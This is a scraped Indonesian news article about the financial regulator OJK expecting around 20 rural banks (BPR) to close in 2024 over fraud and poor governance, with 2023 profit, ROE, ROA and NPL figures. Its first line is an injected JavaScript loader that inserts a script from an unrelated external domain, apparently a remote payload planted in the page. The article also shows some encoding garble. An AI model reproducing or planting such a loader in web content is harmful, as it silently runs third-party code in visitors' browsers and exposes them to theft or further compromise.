(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Otoritas Jasa Keuangan (OJK) telah melaporkan bahwa pada tahun 2024 diperkirakan sebanyak 20 Bank Perekonomian Rakyat (BPR) akan tutup.
Menurut Kepala Eksekutif Pengawas Perbankan OJK, Dian Edina Rae, penutupan bank ini disebabkan oleh adanya tindak penipuan (fraud) dan kelemahan dalam tata kelola manajemen.
Selain itu, ke depannya, OJK juga berkomitmen untuk terus memperkuat BPR dengan menggalakkan konsolidasi serta melakukan penyesuaian regulasi dan pengawasan.
Lebih jauh lagi, Dian juga menyatakan bahwa peta jalan untuk Bank Perekonomian Rakyat (BPR) akan disusun dengan sekomprehensif mungkin, termasuk dalam hal pengaturan manajemen risiko, tata kelola (governance), dan sumber daya manusia (SDM).
Baca juga:Â RI Rebut Ruang Udara di Atas Natuna dari Singapura
Menurutnya, dasar dari penyusunan peraturan tersebut adalah karena banyaknya BPR yang harus ditutup akibat masalah mendasar, seperti kondisi keuangan yang buruk dan adanya tindak penipuan.
Sebagai hasilnya, di masa depan setelah membersihkan BPR yang bermasalah, diharapkan BPR akan mengalami penguatan. Ini termasuk perubahan dalam standar operasional, seperti kemampuan BPR untuk terdaftar di bursa atau melakukan penawaran umum perdana (IPO), serta penyesuaian dalam sistem pembayaran.
Hingga saat ini, telah tercatat minimal tujuh bank yang mengalami kebangkrutan dalam tiga bulan pertama tahun 2024.
Menurut data Statistik Perbankan Indonesia yang dirilis oleh OJK, BPR mencatat laba sebesar Rp1,94 triliun pada tahun 2023, mengalami penurunan sebesar 38,65% dibandingkan dengan laba tahun sebelumnya sebesar Rp3,16 triliun.
Baca juga:Â Cari Berkah BTV : Ria Ricis Merasa Ditipu oleh Sule dan Mimin Eva
Dalam hal profitabilitas, tingkat pengembalian ekuitas (return on equity/ROE) BPR juga menurun dari 15,39% pada tahun 2022 menjadi 8,74% pada tahun 2023. ROE menggambarkan tingkat keuntungan yang diperoleh oleh bank dari investasi yang dilakukan oleh pemegang sahamnya. Penurunan ROE menunjukkan penurunan kinerja bank dalam menghasilkan laba bersih melalui modalnya.
Tingkat pengembalian aset (return on asset/ROA) BPR juga menurun dari 1,74% pada tahun 2022 menjadi 1% pada tahun 2023. Penurunan ROA menunjukkan penurunan kemampuan bank dalam memanfaatkan asetnya untuk mendapatkan keuntungan.
Meskipun demikian, dari segi intermediasi, BPR menunjukkan kinerja yang positif. Mereka berhasil menyalurkan kredit sebesar Rp140,78 triliun pada tahun 2023, meningkat 8,88% secara tahunan. Sementara itu, aset BPR juga mengalami kenaikan sebesar 6,95% secara tahunan menjadi Rp194,98 triliun pada tahun 2023.
Namun, BPR juga mencatatkan pemburukan kualitas aset dengan rasio kredit bermasalah (nonperforming loan/NPL) yang meningkat dari 7,89% pada tahun 2022 menjadi 9,87% pada tahun 2023.
Baca juga: Hari Tuberkulosis Sedunia 2024 “Yes! We Can End TBâ€, Ini Langkah Pencegahannya
Dari segi pendanaan, BPR berhasil mendapatkan dana pihak ketiga (DPK) sebesar Rp158,79 triliun pada tahun 2023, meningkat 8,65% secara tahunan. (Suara.com/kk)
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.